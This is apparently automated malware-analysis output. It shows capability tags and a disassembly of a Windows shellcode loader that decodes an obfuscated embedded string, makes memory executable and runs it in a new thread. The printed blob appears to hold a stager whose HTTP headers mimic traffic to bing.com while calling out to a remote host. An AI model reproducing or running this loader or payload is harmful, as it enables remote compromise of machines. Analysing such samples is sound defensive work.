Function at 0x401320
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x14], str.service
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [ebp - 1], cl
mov edx, dword [ebp - 0x14]
cmp cl, byte [edx]
jne 0x40137b
cmp byte [ebp - 1], 0
je 0x401372
mov eax, dword [ebp - 0x10]
mov cl, byte [eax + 1]
mov byte [ebp - 2], cl
mov edx, dword [ebp - 0x14]
cmp cl, byte [edx + 1]
jne 0x40137b
add dword [ebp - 0x10], 2
add dword [ebp - 0x14], 2
cmp byte [ebp - 2], 0
jne 0x40133e
mov dword [ebp - 0x20], 0
jmp 0x401383
sbb eax, eax
or eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 0
jne 0x40140a
mov dword [ebp - 8], 0
jmp 0x4013a1
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], str.OiJYInlMdJki1Iwi1IMi1IUi3IoD7dKJjHMcCsPGF8iwgwc8Ncfi8FJXi1IQi0I8dCLQHiFwHRKdBQi0gYi1ggdPjPEmLNIsB1jHMcCswc8Ncc44HX0334O30kdeJYi1gkdNmiwxLi1gcdOLBIsB0IlEJCRbW2FZWlH4FhfWosS64ZdaG5ldBod2luaVRoTHcmBVMf9XV1dXV2g6Vnmn9XphFsxyVFRagNRUWjLUgU1BoV4mfxvV63BbMdJSaCQIRSUlJTUlBo61UuOVicaDw1x1dXav9TVmgtBhh79WFwEwwEDHhfZ0BIn56wloqsXiXfVicFoRSFeMfVMf9XagdRVlBot1fgCVvwv5x3S3MfpkQEOnJQ6Iv8vbWFwcy9vdmVybGF5QkZQUgLXxPULundBooTmohEr0SftOfTZb4Ls5Orw60XciMwMGu3cnVGQWtaYeXzRrE7PLsUElFasGO1IhK0FjNEhvc3Q6IHd3dy5iaW5nLmNvbQ0KQWNjZXB0OiqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkNvbm5lY3Rpb246IGNsb3NlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCoV2luZG93cyBOVC2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0LjEwMSBTYWZhcmkvNTM3LjM2DQo6HVJ65iqtRh6p71z0oOPRM96ROxSdcYiCtZ1xmQCHpktEt3ng4y7XXmnOKniZRoVDjCjrqUhpbzzNSc82BadL8eJYr5bF5MIbwvjMBFPmzxe64x37eXZnCC8Bo8LWiVvVakBoBGgEV2hYpFPl9WTuQB2VFTiedXagBTVmgSloni9WFwHTGiwcBw4XdeVYwipfNDcuMT5Ljc5LjgxX14Qok
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx]
mov byte [ebp - 3], dl
add dword [ebp - 0xc], 1
cmp byte [ebp - 3], 0
jne 0x4013b1
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x2c]
jae 0x401408
mov edx, dword [ebp - 8]
movsx eax, byte [edx + str.OiJYInlMdJki1Iwi1IMi1IUi3IoD7dKJjHMcCsPGF8iwgwc8Ncfi8FJXi1IQi0I8dCLQHiFwHRKdBQi0gYi1ggdPjPEmLNIsB1jHMcCswc8Ncc44HX0334O30kdeJYi1gkdNmiwxLi1gcdOLBIsB0IlEJCRbW2FZWlH4FhfWosS64ZdaG5ldBod2luaVRoTHcmBVMf9XV1dXV2g6Vnmn9XphFsxyVFRagNRUWjLUgU1BoV4mfxvV63BbMdJSaCQIRSUlJTUlBo61UuOVicaDw1x1dXav9TVmgtBhh79WFwEwwEDHhfZ0BIn56wloqsXiXfVicFoRSFeMfVMf9XagdRVlBot1fgCVvwv5x3S3MfpkQEOnJQ6Iv8vbWFwcy9vdmVybGF5QkZQUgLXxPULundBooTmohEr0SftOfTZb4Ls5Orw60XciMwMGu3cnVGQWtaYeXzRrE7PLsUElFasGO1IhK0FjNEhvc3Q6IHd3dy5iaW5nLmNvbQ0KQWNjZXB0OiqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkNvbm5lY3Rpb246IGNsb3NlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCoV2luZG93cyBOVC2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0LjEwMSBTYWZhcmkvNTM3LjM2DQo6HVJ65iqtRh6p71z0oOPRM96ROxSdcYiCtZ1xmQCHpktEt3ng4y7XXmnOKniZRoVDjCjrqUhpbzzNSc82BadL8eJYr5bF5MIbwvjMBFPmzxe64x37eXZnCC8Bo8LWiVvVakBoBGgEV2hYpFPl9WTuQB2VFTiedXagBTVmgSloni9WFwHTGiwcBw4XdeVYwipfNDcuMT5Ljc5LjgxX14Qok]
cmp eax, 0x2a
jne 0x4013ed
mov ecx, dword [ebp - 8]
mov byte [ecx + str.OiJYInlMdJki1Iwi1IMi1IUi3IoD7dKJjHMcCsPGF8iwgwc8Ncfi8FJXi1IQi0I8dCLQHiFwHRKdBQi0gYi1ggdPjPEmLNIsB1jHMcCswc8Ncc44HX0334O30kdeJYi1gkdNmiwxLi1gcdOLBIsB0IlEJCRbW2FZWlH4FhfWosS64ZdaG5ldBod2luaVRoTHcmBVMf9XV1dXV2g6Vnmn9XphFsxyVFRagNRUWjLUgU1BoV4mfxvV63BbMdJSaCQIRSUlJTUlBo61UuOVicaDw1x1dXav9TVmgtBhh79WFwEwwEDHhfZ0BIn56wloqsXiXfVicFoRSFeMfVMf9XagdRVlBot1fgCVvwv5x3S3MfpkQEOnJQ6Iv8vbWFwcy9vdmVybGF5QkZQUgLXxPULundBooTmohEr0SftOfTZb4Ls5Orw60XciMwMGu3cnVGQWtaYeXzRrE7PLsUElFasGO1IhK0FjNEhvc3Q6IHd3dy5iaW5nLmNvbQ0KQWNjZXB0OiqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkNvbm5lY3Rpb246IGNsb3NlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCoV2luZG93cyBOVC2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0LjEwMSBTYWZhcmkvNTM3LjM2DQo6HVJ65iqtRh6p71z0oOPRM96ROxSdcYiCtZ1xmQCHpktEt3ng4y7XXmnOKniZRoVDjCjrqUhpbzzNSc82BadL8eJYr5bF5MIbwvjMBFPmzxe64x37eXZnCC8Bo8LWiVvVakBoBGgEV2hYpFPl9WTuQB2VFTiedXagBTVmgSloni9WFwHTGiwcBw4XdeVYwipfNDcuMT5Ljc5LjgxX14Qok], 0x41
mov edx, dword [ebp - 8]
movsx eax, byte [edx + str.OiJYInlMdJki1Iwi1IMi1IUi3IoD7dKJjHMcCsPGF8iwgwc8Ncfi8FJXi1IQi0I8dCLQHiFwHRKdBQi0gYi1ggdPjPEmLNIsB1jHMcCswc8Ncc44HX0334O30kdeJYi1gkdNmiwxLi1gcdOLBIsB0IlEJCRbW2FZWlH4FhfWosS64ZdaG5ldBod2luaVRoTHcmBVMf9XV1dXV2g6Vnmn9XphFsxyVFRagNRUWjLUgU1BoV4mfxvV63BbMdJSaCQIRSUlJTUlBo61UuOVicaDw1x1dXav9TVmgtBhh79WFwEwwEDHhfZ0BIn56wloqsXiXfVicFoRSFeMfVMf9XagdRVlBot1fgCVvwv5x3S3MfpkQEOnJQ6Iv8vbWFwcy9vdmVybGF5QkZQUgLXxPULundBooTmohEr0SftOfTZb4Ls5Orw60XciMwMGu3cnVGQWtaYeXzRrE7PLsUElFasGO1IhK0FjNEhvc3Q6IHd3dy5iaW5nLmNvbQ0KQWNjZXB0OiqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkNvbm5lY3Rpb246IGNsb3NlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCoV2luZG93cyBOVC2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0LjEwMSBTYWZhcmkvNTM3LjM2DQo6HVJ65iqtRh6p71z0oOPRM96ROxSdcYiCtZ1xmQCHpktEt3ng4y7XXmnOKniZRoVDjCjrqUhpbzzNSc82BadL8eJYr5bF5MIbwvjMBFPmzxe64x37eXZnCC8Bo8LWiVvVakBoBGgEV2hYpFPl9WTuQB2VFTiedXagBTVmgSloni9WFwHTGiwcBw4XdeVYwipfNDcuMT5Ljc5LjgxX14Qok]
cmp eax, 0x23
jne 0x401406
mov ecx, dword [ebp - 8]
mov byte [ecx + str.OiJYInlMdJki1Iwi1IMi1IUi3IoD7dKJjHMcCsPGF8iwgwc8Ncfi8FJXi1IQi0I8dCLQHiFwHRKdBQi0gYi1ggdPjPEmLNIsB1jHMcCswc8Ncc44HX0334O30kdeJYi1gkdNmiwxLi1gcdOLBIsB0IlEJCRbW2FZWlH4FhfWosS64ZdaG5ldBod2luaVRoTHcmBVMf9XV1dXV2g6Vnmn9XphFsxyVFRagNRUWjLUgU1BoV4mfxvV63BbMdJSaCQIRSUlJTUlBo61UuOVicaDw1x1dXav9TVmgtBhh79WFwEwwEDHhfZ0BIn56wloqsXiXfVicFoRSFeMfVMf9XagdRVlBot1fgCVvwv5x3S3MfpkQEOnJQ6Iv8vbWFwcy9vdmVybGF5QkZQUgLXxPULundBooTmohEr0SftOfTZb4Ls5Orw60XciMwMGu3cnVGQWtaYeXzRrE7PLsUElFasGO1IhK0FjNEhvc3Q6IHd3dy5iaW5nLmNvbQ0KQWNjZXB0OiqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkNvbm5lY3Rpb246IGNsb3NlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCoV2luZG93cyBOVC2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0LjEwMSBTYWZhcmkvNTM3LjM2DQo6HVJ65iqtRh6p71z0oOPRM96ROxSdcYiCtZ1xmQCHpktEt3ng4y7XXmnOKniZRoVDjCjrqUhpbzzNSc82BadL8eJYr5bF5MIbwvjMBFPmzxe64x37eXZnCC8Bo8LWiVvVakBoBGgEV2hYpFPl9WTuQB2VFTiedXagBTVmgSloni9WFwHTGiwcBw4XdeVYwipfNDcuMT5Ljc5LjgxX14Qok], 0x2f
jmp 0x401398
jmp 0x401414
mov eax, 1
jmp 0x4014a2
push str.OiJYInlMdJki1Iwi1IMi1IUi3IoD7dKJjHMcCsPGF8iwgwc8Ncfi8FJXi1IQi0I8dCLQHiFwHRKdBQi0gYi1ggdPjPEmLNIsB1jHMcCswc8Ncc44HX0334O30kdeJYi1gkdNmiwxLi1gcdOLBIsB0IlEJCRbW2FZWlH4FhfWosS64ZdaG5ldBod2luaVRoTHcmBVMf9XV1dXV2g6Vnmn9XphFsxyVFRagNRUWjLUgU1BoV4mfxvV63BbMdJSaCQIRSUlJTUlBo61UuOVicaDw1x1dXav9TVmgtBhh79WFwEwwEDHhfZ0BIn56wloqsXiXfVicFoRSFeMfVMf9XagdRVlBot1fgCVvwv5x3S3MfpkQEOnJQ6Iv8vbWFwcy9vdmVybGF5QkZQUgLXxPULundBooTmohEr0SftOfTZb4Ls5Orw60XciMwMGu3cnVGQWtaYeXzRrE7PLsUElFasGO1IhK0FjNEhvc3Q6IHd3dy5iaW5nLmNvbQ0KQWNjZXB0OiqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkNvbm5lY3Rpb246IGNsb3NlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCoV2luZG93cyBOVC2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0LjEwMSBTYWZhcmkvNTM3LjM2DQo6HVJ65iqtRh6p71z0oOPRM96ROxSdcYiCtZ1xmQCHpktEt3ng4y7XXmnOKniZRoVDjCjrqUhpbzzNSc82BadL8eJYr5bF5MIbwvjMBFPmzxe64x37eXZnCC8Bo8LWiVvVakBoBGgEV2hYpFPl9WTuQB2VFTiedXagBTVmgSloni9WFwHTGiwcBw4XdeVYwipfNDcuMT5Ljc5LjgxX14Qok
call section..text
add esp, 4
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
push edx
push str.len:_d_n
call fcn.004012d0
add esp, 8
push 0x40
push 0x3000
mov eax, dword [ebp - 0x18]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
push str.OiJYInlMdJki1Iwi1IMi1IUi3IoD7dKJjHMcCsPGF8iwgwc8Ncfi8FJXi1IQi0I8dCLQHiFwHRKdBQi0gYi1ggdPjPEmLNIsB1jHMcCswc8Ncc44HX0334O30kdeJYi1gkdNmiwxLi1gcdOLBIsB0IlEJCRbW2FZWlH4FhfWosS64ZdaG5ldBod2luaVRoTHcmBVMf9XV1dXV2g6Vnmn9XphFsxyVFRagNRUWjLUgU1BoV4mfxvV63BbMdJSaCQIRSUlJTUlBo61UuOVicaDw1x1dXav9TVmgtBhh79WFwEwwEDHhfZ0BIn56wloqsXiXfVicFoRSFeMfVMf9XagdRVlBot1fgCVvwv5x3S3MfpkQEOnJQ6Iv8vbWFwcy9vdmVybGF5QkZQUgLXxPULundBooTmohEr0SftOfTZb4Ls5Orw60XciMwMGu3cnVGQWtaYeXzRrE7PLsUElFasGO1IhK0FjNEhvc3Q6IHd3dy5iaW5nLmNvbQ0KQWNjZXB0OiqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkNvbm5lY3Rpb246IGNsb3NlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCoV2luZG93cyBOVC2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0LjEwMSBTYWZhcmkvNTM3LjM2DQo6HVJ65iqtRh6p71z0oOPRM96ROxSdcYiCtZ1xmQCHpktEt3ng4y7XXmnOKniZRoVDjCjrqUhpbzzNSc82BadL8eJYr5bF5MIbwvjMBFPmzxe64x37eXZnCC8Bo8LWiVvVakBoBGgEV2hYpFPl9WTuQB2VFTiedXagBTVmgSloni9WFwHTGiwcBw4XdeVYwipfNDcuMT5Ljc5LjgxX14Qok
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401060
add esp, 8
push 0
push 0x40
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
push 0x401310
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x41bcd8
call fcn.004012d0
add esp, 4
mov edx, 1
test edx, edx
je 0x40149d
jmp 0x401492
mov eax, 1
mov esp, ebp
pop ebp
ret